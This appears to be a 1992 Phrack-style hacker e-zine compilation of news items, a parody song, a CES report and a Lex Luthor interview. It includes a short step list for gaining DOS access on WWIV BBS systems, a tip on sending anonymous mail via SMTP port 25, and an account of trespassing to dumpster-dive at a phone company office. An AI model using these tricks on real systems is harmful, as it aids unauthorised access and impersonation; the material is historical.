Shiner also told Newsbytes that his experience as a programmer with a small Dallas software firm provided him with an ongoing interest in computer and communications technology. He added, "The firm was sold to EDS (Electronic Data Services), Ross Perot's firm, and, with long hair and jeans, I didn't fit into the EDS mold so I left and concentrated on writing."

________________________________________

"Sneakers" by Universal Pictures June 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from PR Newswire

Follow A Team of High‑Tech Security Experts Into The Complex World of Computer Crime

"I was trying to break into Protovision. I wanted to get the programs for their new games." ‑‑ David Lightman (Matthew Broderick, "WarGames").

"The world isn't run by weapons anymore, or energy or money. It's run by little ones and zeros. Little bits of data. It's all just electrons." ‑Cosmo (Ben Kingsley, "Sneakers").

In 1984, screenwriters Walter F. Parkes and Lawrence Lasker received an Academy Award nomination for their script which followed the adventures of a young high school hacker (Matthew Broderick) whose computer made contact with the mainframe computers at North American Air Defense Command (NORAD).

A critical and box office success, "WarGames" was the first major motion picture to explore the emerging worlds of computer games, hacking, crashing and data piracy. It soon found a legion of fans who had also discovered the vast frontiers available through their personal computer.

Eight years later, Parkes and Lasker along with writer‑director Phil Alden Robinson ("Field of Dreams") have collaborated on "Sneakers," a Universal Pictures release which follows a team of high‑tech security experts into the complex world of computer crime. The caper film, directed by Robinson, stars Robert Redford, Dan Aykroyd, Ben Kingsley, River Phoenix, Sidney Poitier, David Strathairn, James Earl Jones, and Mary McDonnell.

Parkes and Lasker first heard the term "sneakers" at a computer convention in 1981 as a nickname for IBM's kid programmers. Months later, they met the editor of a small computer magazine who had a very different definition of the word. "Sneakers," their source explained, is a term that is synonymous with "black hatters" and "tiger teams," or individuals who are hired to break into places in order to test the security of the installation.

Teaming up with Robinson, the trio wrote the basic outline of a story about a team of sneakers whose questionable pasts had brought them together. Robinson then embarked on some extensive research, but what had begun as basic factfinding about computer outlaws soon evolved into clandestine meetings with underground hackers, FBI men, cryptologists, wire tappers, professional penetrators and an endless stream of cyberpunks who were the pioneers in system break‑ins.

The "Sneakers" research led to meetings with numerous characters, ranging from the notorious Captain Crunch (John Draper) to renowned mathematician Leonard Adelman, called the father of public‑key encryption. Using computer encryption as a plot device, the writers were able to concoct an intricate "what if" story which explored the possibility of a "black box" that could potentially crack the code of any electronic information in the world.

"'Sneakers' has to do with a new age... the information age," said Redford. "It's quite possible that a war in the future will be a war of information. Whoever has it, wins."

Coming to theaters this September.

________________________________________

Pirates v. AT&T: Posters

~~~~~~~~~~~~~~~~~~~~~~~~

Special thanks to Legacy Irreverent and Captain Picard

On May 24 1992, two lone pirates, Legacy (of CyberPunk System) and Captain Picard (of Holodeck) had finally had enough of AT&T. Together, they traveled to the AT&T Maintenance Facility (just west of Goddard, Kansas) and claimed the property in the name of pirates and hackers everywhere.

They hoisted the Jolly Roger skull and crossbones high on the AT&T flagpole, where it stayed for two days until it was taken down by security.

This event was photographed and videotaped by EGATOBAS Productions, to preserve this landmark in history. And now you can witness the event. For a limited time they are offering full color posters and t‑shirts of the Jolly Roger Pirate flag flying high over AT&T, with the AT&T logo in plain view, with the caption; "WE CAME, WE SAW, WE CONQUERED."

Prices: 11" x 17" Full Color poster........................... $ 7.00 US

20" x 30" Full Color poster $20.00 US

T‑shirts 20.00 US

If you are interested in purchasing, simply send check or money order for the amount, plus $1.00 US for postage and handling to:

CyberPunk System

P.O. Box 771027

Wichita, KS 67277‑1072

Be sure to specify size on T‑shirt.

A GIF of this is also available from CyberPunk System, 1:291/19, 23:316/0, 72:708/316, 69:2316/0. FREQ magicname PIRATE

________________________________________

Telco Trashing Yields Big Rewards July 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Anonymous

A few days ago, I was faced with a decision about what to do that fine evening: Try and make amends with my girlfriend or go dumpster diving down at the Bell Central Office. Well I guess I am a true lamer since I opted for the telco, but my choice did not go unrewarded as I found a nice little treasure.

The building is a old 1940's brick place with almost no security whatsoever, not even a guard on Sunday nights. So, it was no problem to jump the barbed wire fence that surrounded the truck lot where the dumpster was located. After rooting around through the dumpster for something worth my while, I came across a medium sized box that apparently had been used by one of the employees for moving since written on the were the words "pots and pans, kitchen."

Naturally intrigued by this strange box in a telco dumpster, I opened it and found quite a surprise! There, staring up at me, was a binder with a label stuck on it that read "Phrack 23." Inside I found the entire collection of Phrack 1‑39, Informatik 1‑4, and LOD/H Technical Journals 1 and 2 (apparently they were too cheap to print out the rest). They were poorly printed on a laser printer (or well printed on a ink jet), but they were much better than the cheesy job I had done printing out mine. :‑)

Apparently someone at the telco is a phreaker that infiltrated the ranks of South Central Bell or they have been reading up on the latest and greatest in the phreaker/hacker community.

Perhaps not as valuable as a list of COSMOS passwords or dialups, but still it was quite a find.

________________________________________

Anonymous Mail On IBM VM Systems?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 28 Apr 92 14:54:58 EST

From: Apollo

Subject: Anonymous Mail

To: Phrack Staff

Dear Phrack Staff,

I was reading a past Phrack issue and noticed that you can send anonymous mail from a UNIX system. I know that there is a way to send it from a VM system. However, the people at my node don't want anonymous mail sent, so they do not tell us how it's done. Can someone PLEASE tell me how I can send anonymous mail via a VM system?

‑‑ Apollo ‑‑

From: Mind Mage

Subject: Anonymous Mail

To: Apollo

I assume that you know you can telnet to any VM system on the Internet and send anonymous mail using port 25 and a commands that are very similar to that of the UNIX SMTP.

If you want to send it from your particular system, you can try telneting to port 25 of your own machine and doing it from there.

Mind Mage

________________________________________

WWIV Link Hack

~~~~~~~~~~~~~~

By Mr. Bigg (Rebel‑*‑Jedi)

Not that many people care but here is a nice little trick I happened to come across and feel like sharing.

Hack for WWIV Systems Using Multi‑Net v1.0 Mod

Usually used for LinkNet

Main Login: @‑!NETWORK!‑@

Link Login: 1 (or whoever is sysop)

//edit config.dat

find system password in file

abort editing

//dos

enter system password

Viola, access to Dos :)

Lamely enough there is no password. Check for users when using this mod.

________________________________________

The Day Bell System Died

~~~~~~~~~~~~~~~~~~~~~~~~

Sung to the tune of American Pie (with apologies to Don McLean)

Long, long, time ago,

I can still remember,

When the local calls were "free".

And I knew if I paid my bill,

And never wished them any ill,

That the phone company would let me be...

But Uncle Sam said he knew better,

Split 'em up, for all and ever!

We'll foster competition:

It's good capital‑ism!

I can't remember if I cried,

When my phone bill first tripled in size.

But something touched me deep inside,

The day... Bell System... died.

And we were singing...

Bye, bye, Ma Bell, why did you die?

We get static from Sprint and echo from MCI,

"Our local calls have us in hock!" we all cry.

Oh Ma Bell why did you have to die?

Ma Bell why did you have to die?

Is your office Step by Step,

Or have you gotten some Crossbar yet?

Everybody used to ask...

Oh, is TSPS coming soon?

IDDD will be a boon!

And, I hope to get a Touch‑Tone phone, real soon...

The color phones are really neat,

And direct dialing can't be beat!

My area code is "low":

The prestige way to go!

Oh, they just raised phone booths to a dime!

Well, I suppose it's about time.

I remember how the payphones chimed,

The day... Bell System... died.

And we were singing...

Bye, bye, Ma Bell, why did you die?

We get static from Sprint and echo from MCI,

"Our local calls have us in hock!" we all cry.

Oh Ma Bell why did you have to die?

Ma Bell why did you have to die?

Back then we were all at one rate,

Phone installs didn't cause debate,

About who'd put which wire where...

Installers came right out to you,

No "phone stores" with their ballyhoo,

And 411 was free, seemed very fair!

But FCC wanted it seems,

To let others skim long‑distance creams,

No matter 'bout the locals,

They're mostly all just yokels!

And so one day it came to pass,

That the great Bell System did collapse,

In rubble now, we all do mass,

The day... Bell System... died.

So bye, bye, Ma Bell, why did you die?

We get static from Sprint and echo from MCI,

"Our local calls have us in hock!" we all cry.

Oh Ma Bell why did you have to die?

Ma Bell why did you have to die?

I drove on out to Murray Hill,

To see Bell Labs, some time to kill,

But the sign there said the Labs were gone.

I went back to my old CO,

Where I'd had my phone lines, years ago,

But it was empty, dark, and ever so forlorn...

No relays pulsed,

No data crooned,

No MF tones did play their tunes,

There wasn't a word spoken,

All carrier paths were broken...

And so that's how it all occurred,

Microwave horns just nests for birds,

Everything became so absurd,

The day... Bell System... died.

So bye, bye, Ma Bell, why did you die?

We get static from Sprint and echo from MCI,

"Our local calls have us in hock!" we all cry.

Oh Ma Bell why did you have to die?

Ma Bell why did you have to die?

We were singing:

Bye, bye, Ma Bell, why did you die?

We get static from Sprint and echo from MCI,

"Our local calls have us in hock!" we all cry.

Oh Ma Bell why did you have to die?

________________________________________

The 1992 Consumer Electronics Show

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Sarlo

The Consumer Electronic Show is the annual event held in Chicago, Illinois, that gives a sneak peek at the electronic products to come to market, as well as products that are currently on the market.

The show is usually closed to the public. This year however, for a MEASLY $10 fee, the common shmoe can waltz his ignorant ass right up to the door, get a green stamp on his hand, and walk up to several displays, oohing and ahhhing, and gape like landed fish at the wonderous booths set up by various participating companies such as AT&T, most major bell companies, IBM, Prodigy, dozens of cellular manufacturers, Nintendo, Sega, and more software producers than I really have the patience to list.

I take a taxi to the McCormick center, a convention haven, and enter through the underground entrance. I walk down the nondescript hallway, noting that for a center that is supposed to be housing the latest in the future technology, nothing was that awe‑inspiring. Expecting a lame show with shoddy video graphics, I purchased my ticket, got my hand stamped and entered the doors.

Into an enormous room, filling my senses with an array of Lights and Sound. You could almost smell the silicon as I made my way down the aisle displaying the giant Phillips Digital Compact Cassettes screen. Not being a huge fan of stereo equipment, I head over to the Sharp Electronics Display. It was a turn in the right direction, as it brought me face to face with one of the clearest and, per the name, sharpest video displays I have seen in my life. Their LCD big‑screen televisions, displaying a aquarium scene. Even close up, distortion of the images were at a minimum. Along the north wall, a smaller, gutted version of the LCD display was shown, giving electronics buffs a firsthand look at the inner workings of the viewscreens. Turning a corner, I came face to face with their dual‑projection wallscreen television. Instead of ghost images and a fuzzy, indistinct picture, I found that it may have very well be the highest quality video projection system I have ever come in contact with.

Cellular Mania

~~~~~~~~~~~~~~

The highlight of the Cellular Phone section was the Motorola Cordless/Cellular display area with a large sign showing the spokesperson for Motorola, the eyecatching slogan above him:

"Cordless Phone Eavesdroppers Are Everywhere."

Immediately catching my interest, I wandered over to check out the smaller print:

"But with my Motorola Secure Clear (tm) Cordless Phone, my private conversations stay private."

Secure Clear, as the literature explains it, is an exclusive technology that assures you that no eavesdroppers will be able to use another cordless phone, scanner or baby monitor to listen to your cordless conversations.

As most of us know, security codes and multi‑channels don't always prevent eavesdropping. With the latest technology these days, security codes, one of 65,000 possible codes that are randomly assigned every time you set the handset into the base, keeps someone from using your phone base as an outgoing phoneline.

Using the Auto Channel Scan (ACS), the Secure Clear Cordless Phones automatically skip any channels that register noise or interference. Three guesses what Sarlo is getting himself for Christmas.

For more information on this or any other Motorola product, call their Consumer Products Division at (800)331‑6456.

On other notes, Technophone had a wide variety of cellular accessories, including a Desk stand, spare batteries, an in‑car charger, a new life of antennae, QuickCharge AC chargers, and a hands‑free unit for safe operation in a car.

Omni Cellular had one of their Model "A" V833k Portable Hand‑Helds open for a demonstration, giving a static‑free conversation with one of the salesmen. Many of the features of this phone were:

o 90 Minutes of Talk Time

o 10 hours of Stand‑by Time.

o and a sturdy design built right here in the USA.

Other features included Auto‑Power Shutoff, Electronic Lock, 50 number memory, and signal strength indicator.

East Building Hipster Hi‑Jinx

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Growing bored, I headed over to the map. Searching it, I found, almost literally, my green light. On their illuminated map display, the green section of the map beamed out to me.

"Computers"

Hauling ass to the door, stopping for a quick inspection of my bags by the security guard, I strolled over to the east building (purchasing a way‑keen CES‑92 T‑Shirt along the way), I burst into the building with a renewed vigor.

Right smack‑dab in the front of the entrance there is the awful stench of men in business suits and cheap computer services. Right away, I knew I had found the Prodigy display.

With free trials and the salesmen prodding the consumers to subscribe to their system, I decided to take a look.

"Where else can you get such a great service, allowing you access to such a wide variety of things such as an online message service, up‑to‑date news, an online encyclopedia, and thousands of interesting users, people just like yourselves?" The Online‑Conman peddled his wares to the unsuspecting consumers, not only misinforming them as to think that Prodigy is a useful service at all, but to actually have the gall to shove a PS/1 in their faces and tell them it's a quality computer.

"Umm... what about any Public Access Unix Site with an Internet or Usenet feed," I asked. The clod then got on his high‑horse and addressed me.

"Perhaps. But most Public Unix's, or bulletin boards, for that matter don't have high‑quality graphics to accompany the information." The man had definitely done his homework. But apparently IBM and Sears soaped the man's brains out thoroughly enough to the point where he actually bought the bull that they were forcing down peoples throats.

"Yea," I said. "But most public access sites don't waste a quarter of your screen space with worthless advertisements. I wasn't aware that pretty pictures made the news or messages any more informative, either. But I might also point out that they don't charge you a extra amount of money for every message over the 30th one, read your mail or censor your public posts, or, many times, even charge you a fee at all, other than possibly an optional subscription fee, around $50 a YEAR at most, nor do they have small datafiles that collects information from the fat table from the subscribers." As I was speaking, the salesman was trying to interrupt me, finally succeeding at this point.

"Well, I can see you have a lot of questions," the salesman evades rather well. "So I'm sure this gentleman over here will be glad to answer any of your questions, while I can take this lady's question...Yes?"

I was approached by another salesman who asked me what questions I needed answered. I said none, seeing as I didn't have much interest in his system anyhow, and that I was just seeing how good the Prodigy salespeople worked under pressure. He said he would be glad to answer any questions I had, but if I were only there to harass people, to please take it elsewhere.

Then it was off to the various other setups. Magazines were on display and free for the taking here, including Mobile Office, Various Nintendo/Game System magazines, and Audio Equipment. Walking down one of the back isles, I heard a bit of conversation that caught my ears.

Star Trek Straight To Your Home

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Computer. Recognize Picard, Jean‑Luc. Kitchen Lights ON, Turn ON the VCR and hit RECORD. Close the Curtains, and turn on the Extasy Channel. Prepare to record "Chicks with Dicks."

‑ Jean Luc Picard

Stardate 1992.4, 2:45 A.M.

Such a Scenario is something you would think you could find only on Star Trek, right? Wrong. With the Mastervoice, the "Ultimate in Home Automation", the mastervoice is much like your own personal butler, telling the correct time, activating and operating any device in your household, and even with it's own alarm system. All of this, at the command of your voice.

Mastervoice can be designed to be used by up to four people, can be trained in any language. It distinguishes who is speaking, obeys the commands, but also speaks back to you ‑‑ in a HUMAN sounding voice. Male or Female. You can add or delete voices from it's recognition systems, you can also create new response words as well.

Featuring control over lights, stereo, TV, coffee maker, heating and cooling systems. It also has a Household Noise Override that allows you to have stupid children racing around your home in an obnoxious manner without disturbing the unit.

Plus, it is also a speakerphone/telephone with stored numbers. At the sound of your voice, it will dial or answer incoming calls and allow you to carry on a conversation without ever having to touch the system. It also interfaces with your PC for memory storage or control operations.

Built in infrared sensor and intrusion detection systems are another highlight of this demonstration. As it recognizes up to four voices, you can assign a password for each voice, being anything from "I am home" to "Supercalafragilisticexpialidoshes". If all fails, it can call the police for you. Nutty as all hell.

Mastervoice operates thru carrier current modules. This model, as one of the top of the line voice‑recognition home‑use systems, it is up there in the $4,000 plus range, but seeing all the stuff it does, it's well worth the price.

Skipping the Game Module Section (Nintendo/Sega/TurboGraphix/etc) entirely, I ran into an interesting palmtop known as the Psion Series 3, and their new interlink software. Windows Compatable, the palmtop not only has communication software for a link between your PC and Palmtop, but also will support standard Hayes and Hayes compatible modems. Sporting a qwerty style keyboard and a romcard port, 128k and a 40 column screen, the Series 3 may be limited, but provides an acceptable amount of access to other online services. Though for now, a Windows based software package is only available, at the time of this writing, there will be DOS and UNIX compatible packages available to the public

Phrack Pro-Phile on Lex Luthor

==Phrack Inc.==

Volume Four, Issue Forty, File 3 of 14

==Phrack Pro‑Phile==

Written and Created by Taran King (1986)

Welcome to Phrack Pro‑Phile. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring you perhaps the most famous all underground hackers and the founder of the Legion of Doom.

Lex Luthor

________________________________________

Personal

~~~~~~~~

Handle: Lex Luthor

Call me: I really no longer identify with "Lex Luthor" and don't ever expect me to use the handle again with regards to calling boards so you CAN call me "Johnson."

Past handles: I was too status conscious to have more than one handle. All my effort went into just one persona.

Handle origin: From the Superfriends/Justice League of America (ABC TV) cartoon series where the Legion of Doom (LOD) kicked their asses until the series writers thought up some lame way for them to win, but of course, LOD always escaped to fight another day.

Date of Birth: You should know better than that.

Height: You should know better that that.

Weight: Approximately 610 Newtons plus or minus a few. Eye color: With or without colored contact lenses?

Hair color: With or without my wig disguise?

Computer: Apple //+ collecting dust and a soon to be obsolete IBM 286.

Email address: lex@stormking.com

The Interview Of Lex Luthor!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Taran King

TK = Taran King

LL = Lex Luthor

TK: So Lex, why have you finally relented to a Pro‑Phile/interview when I have been after you to do one for about 5 years now?

LL: Well, I have to admit that I am still reluctant. This whole issue of computer security/insecurity, hacking/phreaking, philes/electronic publishing, etc. is still quite controversial and I would prefer to concentrate on strictly legitimate activities. Especially areas where the importance of opinions are negligible and the importance of facts are paramount, as in Science and Engineering. However, I realize that Phrack won't be around forever, so I thought that if I had any last words left to say I'd better say it now so here I am.

TK: How did you get started into hacking/phreaking?

LL: It was easy. I had a delicious shake for breakfast, one for lunch and oh sorry. No really, it WAS easy. I had a friend who bought an Apple and I used to go over to his house and watch him play Ultima I, a fantasy/ adventure game. After drooling over Ultima long enough, I took all my savings and bought a system, which was in excess of $1000 at the time. Being penniless, I had nothing else to do but learn the machine. My friend then purchased a modem and started calling boards. I followed suit. He was interested in cracking software and became rather well known using the handle "The Punk". After he gave me some codes for various LD companies I started calling around. A short while later, I noticed that there were boards, sections of boards, and most importantly INFORMATION that I was not permitted to use/see. I was unhappy about being excluded especially from RACS III (Tuc eventually came around though) and took it upon myself to learn what was involved in accessing these systems and getting more information. I realized as most have, that providing information that others do not possess allowed me to be noticed and therefore gain more information. By the way, I still play Ultima, I BOUGHT Ultima VI two years ago but am just getting around to playing it now.

TK: What was more important to you, getting noticed or getting information?

LL: The information was undoubtedly the goal. I realize now, as many hackers and phreaks have in retrospect, that I am an INFORMATION JUNKIE. The notoriety was simply the means to be trusted with more information and knowledge. Unfortunately back then I was unaware that most of the information that I seeked was available LEGALLY. I was blinded by the information itself, and did not concentrate on the *methods of obtaining information*. Now with the advent of CD rom databases, and also online databases, the information is readily found. The problem is that the service providers are pricing the disks and online time out of the reach of common people, which of course puts me back to square one in a way.

TK: Why do you need information?

LL: Look, if there is one thing that prevents people from doing things or pursuing their dreams, its INFORMATION. Not money, not guts, not anything. With the right information just about everything else can be obtained with the exception of health and happiness I suppose.

TK: Give me an example.

LL: Okay. If you have ever been up late watching TV and 'ol Dave Del Dotto or Carlton Sheets or whomever gets on and is trying to sell you their "courses" on Real Estate, Buying at Government Auctions, etc. then you know what I am talking about. These guys made millions simply by obtaining information that the majority of people were not aware of and put it to use, they could have been anybody.

TK: What types of information do you look for?

LL: Although I always look to learn new ways of how to obtain information in general, i.e., what new databases are available and how to use them, etc. I am currently concentrating on scientific data since I am working on my Master's Thesis and a comprehensive literature search is required to prevent me from duplicating what has already been accomplished. The "don't re‑invent the wheel" philosophy.

TK: You mention a thesis, what schooling have you had/are pursuing?

LL: I don't want to be too specific, however, I have an undergraduate engineering degree and am currently in the process of completing dual Master's degrees, one in Quantum Physics and the other in Engineering.

TK: Sounds heavy, but why be vague, you must have a computer‑type or electrical engineering degree?

LL: No, and I get that a lot from old friends: "You are so good with computers, why aren't you doing that?" My interest in computers now is simply to make them calculate equations and do simulations of physical systems. And to help me get more information.

TK: Let's get back to the H/P subject, there's a few people who have always contended that you and the guys in LOD really didn't know much of anything, is that true?

LL: Well I can't speak much about the old members, but their expertise satisfied me and other members (we would usually vote on new members, I wasn't a dictator you know). As for me, I realized early on that only certain people can be trusted with certain information, and certain types of information can be trusted to no one. Giving out useful things to irresponsible people would inevitably lead to whatever thing it was being abused and no longer useful. I was very possessive of my information and frequently withheld things from my articles. By not providing much data, some people may conclude that I didn't know anything at all. Its just that I didn't release it to just anyone and that dismayed various people probably to the point of lashing out at me and LOD.

Some People to Mention

~~~~~~~~~~~~~~~~~~~~~~

Taran King: You were always hounding me for a Phrack Pro‑Phile. Hope you are enjoying it.

Knight Lightning: Great guy, but how did he get so famous even though he never even broke into the E911 computer? Sad to see him get screwed by overzealous "professionals." Wish I had some money to donate to his defense fund.

The Blue Archer: Always wanted to meet him. I never got a chance to meet him face to face although I have known him for 8 years. To be honest, he was better at getting into systems than I was.

Tuc: Always willing to bend over backwards to help you out. I still use the briefcase he bought me in NYC many years ago.

Paul Muad'Dib: The one in New York. He is one of the smartest people I've ever met. I hope he is doing something worthwhile.

Bioc Agent 003: Talked to him quite a number of times and met him at TAP meetings, but we never got to be friends.

Cheshire Catalyst: I still owe him $20. He lent it to me in NYC.

Control‑C: A wildman with the women. I hope he gives me his STARGATE videogame when he gets tired of it. I don't play it every day like him, but I still can kick his ass.

Phantom Phreaker: He has a spiritual side to him that most people never realize.

The Videosmith: A fun person with talent. I was sad to see him leave the scene so early. Met with him in his home state two years ago just to say hello.

Dr. Who: Here is a guy who loved hacking and exploring systems. I mean he really enjoyed it. He got quite good at it too.

Telenet Bob: Met him up in Massachusetts at Dr. Who's conference.

Jester Sluggo: Met him up in Massachusetts along with The Sprinter. Obviously he knew more than he let on even way back then.

Compu‑Phreak: I liked listening to his pirate radio station while he operated it. The FCC never did catch on.

Silver Spy: A very smart guy with a future. Someone who knows when to stop, but was a little bit panicky at times.

Erik Bloodaxe: Part of the original LOD group. I think he always wanted my job. I consider him a friend even though we had our misunderstandings.

Mark Tabas: Part of the original LOD group and sysop of Farmers of Doom (FOD) for the short time it was up. I hope he isn't in any trouble again.

Flash Hoser: A fellow information junkie in the Great White North (GWN).

Gary Seven: Probably one of the least known yet talented hackers around except that I mentioned him in the acknowledgement section of many of my files. He has since quit.

Digital Logic: Ran a good board for quite a while. An idealist who could give a great speech. Too bad no one would listen.

The Ronz!: Old friend who no one ever heard of unless they called Digital Logic's Data Service BBS.

Al Capone: Should have been born a few years earlier so he could have gotten into hacking when it was fun. He got into it too late and the risk became a little too high for him.

Quasi Moto: Sysop of Plovernet. Was a good sysop, but not much of a hacker. Still talk to him on the net.

King Blotto: Known him a long time. Glad he never put me on TeleTrial!

The Mentor: A fantastic writer. He ran a great board (Phoenix Project). The last time I talked to him was a few years ago, but he wasn't very talkative. I think he fell for the 'ol Lex is a rat rumors.

The Leftist: I hitched a ride with him to one of the SummerCons in St. Louis. Haven't talked to him since his trouble began, I hope he's cleaned up his act. I thought he was cool until I heard he was making stuff up about me to the investigators.

The Prophet: A kindlier gentler hacker. Sorry to see him get screwed by the system.

The Urvile: Met him at SummerCon '89. Definitely seemed to be the type who you could trust not to screw you over.

Sir Francis Drake: Met him at SummerCon '87. I'm glad I got a chance to.

Sir Knight: What a character.

Shooting Shark: I appreciate the favorable comments he made about me in HIS Phrack Pro‑Phile.

A Few Other Things

~~~~~~~~~~~~~~~~~~

While I'm on the subject of people, there is one thing that I have not see published in any form, and that's a "Where are they now" type of thing for ex‑hacks/phreaks. Just so people know, there are a number of us who are doing quite well at lawful pursuits.

For example:

Silver Spy ‑ Completing a Master's Degree in Electrical Engineering. Knight Lightning ‑ Working to become a lawyer.

The Unknown Soldier ‑ A high level manager at a successful software company. The Mentor ‑ Creating games at a well known game company. Jester Sluggo ‑ Working for a 'high technology' company.

The Disk Jockey ‑ Working in the computer business.

Gary Seven ‑ Chief engineer at a radio station.

The Interview With Lex Continues

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TK: In an early issue of Phrack you were referred to by the following: "There is paranoia and beyond paranoia there is Lex." How do you respond to that?

LL: Ha Ha, I remember that one. Well of course there is some truth to it. And the saying, "better paranoid than sorry." is true as you can see since I am not behind bars... not that I ever did anything illegal of course, ahem. I should mention that I met two individuals early in my hacking career that had a significant influence on me, and both are the absolute epitome of paranoid.

One was "Eliott Ness" who was probably in his late 30's to 40's by the sound of his voice. He used to call LOD, I met him on a local board. He was extremely knowledgeable, but always knew when to stop giving general information, never gave out ANY personal information, and never communicated for any length of time.

The other guy was "Number 6" from TAP meetings in NYC. I met him a few times. Six was another older gentleman. He was very calm until anyone showed up with a camera. Then he "went off" until the camera threat was negated. This guy had a way of extracting information out of you without you even realizing what he was up to.

As I recall people would ask him a question and he would simply turn it around and say, "well, what do you think (or know) about so and so" and the hapless phreak would spill his guts with Six taking notes and sometimes making corrections to what the phreak said much to the phreak's surprise. But Six never really gave out much information although it was completely apparent to me that he knew a great deal just by the way he carried himself.

A few phreaks would try to follow him after the TAP meetings, but he always lost them without ever letting on that he knew he was being followed. It should be mentioned that paranoia can destroy you (as the song goes). A number of times I ran into real problems trying to escape from suspected problems that probably weren't anything to worry about.

TK: What memorable H/P BBSes do you recall?

LL: OSUNY: Caught the tail end when I first started. I was impressed.

Plovernet: That BBS was crazy. Constantly busy since it had hundreds of active users and Quasi Moto let everyone post whatever they wanted and never deleted messages unless there was no disk space left. We helped start the "philes" trend there also. It was easy to spot who knew what they were talking about so I invited them onto the LOD BBS. Some of the people on the LOD BBS were then asked to join the now infamous LOD group.

TK: (*Interrupts*) Did you ever think the group you started would become a household name in security and hack/phreak circles?

LL: Although I knew the guys in the group were good hacks/phreaks, I had no clue of where it was leading. Since we did not tolerate destructive/ malicious behavior nor things like credit card fraud I did not think there was much risk in the group as a whole getting any real attention. Of course, all that changed with time.

TK: Sorry for the interruption. Please continue.

LL: Metal Shop Private: The users were idealistic and good natured which was refreshing. I liked it most because it was a good source of information/files and we were the first to see new Phrack issues.

Farmers Of Doom: Mark Tabas did a fantastic job with this one. It was quite busy, but did not remain up very long.

Phoenix Project: Again, another fantastic job. The Mentor had some rather unconventional ideas like letting security people on, which I thought was a good idea.

RACS III: Tuc didn't give me the time of day at first, but eventually I got on. Then he took it down.

Pirates Cove: The board in 516 (Long Island, NY). One of the classics. It's where I met Emmanuel Goldstein and invited him onto Plovernet to help sell 2600 subscriptions.

Catch‑22: Absolutely positively the most secure BBS I ever encountered. Besides passwording subboards along with requiring users to have a high enough security level to access them, it made use of many concepts from the "basic security model" introduced by Lampson and later augmented by Graham and Dorothy Denning. Of course Silver Spy and I had no clue what an access matrix was and things of that nature. A duress password was implemented so if someone got nailed they could enter the password, not compromise the system, yet appear as to be cooperating with the authorities who we presumably thought would ask the hacker to call. It was never used but nice to have.

BlottoLand: Good board for a while, but he let too many of his "loyal subjects" on the system who were locals and they eventually overran it.

TK: Do you REALLY think you are ELITE or what?

LL: I really don't know how anyone got the idea that I considered myself elite. The only people who said I thought I was elite were those who I never met or talked to. Contrary to some people's belief, I never considered myself as elite. I was just a guy who liked to pass information on to others so I wrote some files. The files did help me get access to more information by making me more well known. When I read the newspaper, I'm one of those annoying people who keeps interrupting your breakfast to tell you details about all the neat stories.

TK: Speaking about the group, what do you think about Erik Bloodaxe and others starting ComSec Data Security?

LL: When I first called Bloodaxe after I saw them in the papers/magazines he thought I would be mad, maybe that he took my idea or something. I told him I am familiar with the computer security consulting business and don't want any part of it. It's too tough to get people to pay money for something that they cannot get a verifiable return on their investment. Besides, getting them to trust you with their inner most secrets is extremely difficult.

I told ComSec to write articles about security until their fingers fell off. Legitimize themselves as soon as they can. There was too much prejudice out there against them with ComputerWorld leading the pack. I really think they could have helped some companies if given a chance. But I don't think they had enough knowledge about the whole security picture, i.e., Physical Security, Environmental Systems (fire suppression, UPS, etc), Administrative Security (Hiring/firing policies, etc.), what goes on in big IBM shops MVS, CICS, ROSCOE, etc. There is a lot involved.

TK: How did you feel when Knight Lightning and Phrack erroneously insinuated that you might have informed on other hackers, maybe even the Atlanta Legion of Doom members a few years ago?

LL: Well as you now know, Craig (KL) has seen all the documents and records from his trial and many documents from the Atlanta case and there was no mention whatsoever of me in regards to providing information, being a witness, testifying, etc.

Although I haven't talked to the Atlanta guys since before their trial I am sure they know I had absolutely nothing to do with what happened to them. The real story has since come out. If there is one thing I hate, it's being accused of something you didn't do.

If someone does something they are accused of, he should be man enough to admit it. I have said this before a number of times, I have never provided information to anyone about other hacks/phreaks that directly nor indirectly led to them being visited, arrested, or prosecuted. It's just not my way. What goes around comes around and that kind of boomerang is something I knew I didn't want to play with.

My success in avoiding trouble is fairly straightforward: Most of all it was secrecy and misdirection (ala Stainless Steel Rat), avoiding phone company computers especially those in which I was a customer of (i.e., my local RBOC) because if you get THEM pissed at you, they'll get you one way or another. Also, lots of LUCK and not intentionally making any enemies although there have been a few hackers mad at me whom I never even talked to and I have no idea as to why they didn't care for me.

TK: Do you have any advice for people out there who may want to begin hacking or phreaking?

LL: I am not one to dictate what people should or should not do, but I wouldn't if I were them. The technology to prevent and detect security breaches and then to track down their source is ever improving. The Cuckoo's Egg (by Cliff Stoll) provides a good example of that. But that shouldn't even come into the picture.

I think they should examine objectively why they want to do it. Then make an honest attempt at finding other legal ways to accomplish whatever they were trying to do. I don't care how you justify it, its dishonest. Forget about the law part of it. It just causes other people problems. I didn't know how much until my school's systems were hacked and I was unable to read my e‑mail for a week. I was angry and thought to myself that I'd like to get my hands on that asshole hacker. Then I laughed for quite awhile realizing what I was thinking and the irony of it all. Poetic justice I suppose. None of my data was touched, but I was denied service and denial of service can be just as damaging. As for the challenge of it, well I can't deny that that was very addicting, but there are many legal ways to challenge yourself.

TK: What conventions/involvements outside of phone calls have you done?

LL: TAP meetings were probably the first. Then a Con in Massachusetts, the Con in Philly with Videosmith et al. and of course the few SummerCons (1987 and 1989) in St. Louis. There were some computer security conferences that were interesting also. Those helped to sensitize me to the "other side."

TK: I remember at SummerCon '89 that you were accidentally caught on video tape for about 2 seconds and requested that it be erased, which it was. What is the deal with cameras?

LL: It may sound a little odd, but I don't think anyone has the right to take another person's picture without their permission. Especially when the person who is on film has no idea where the picture will end up.

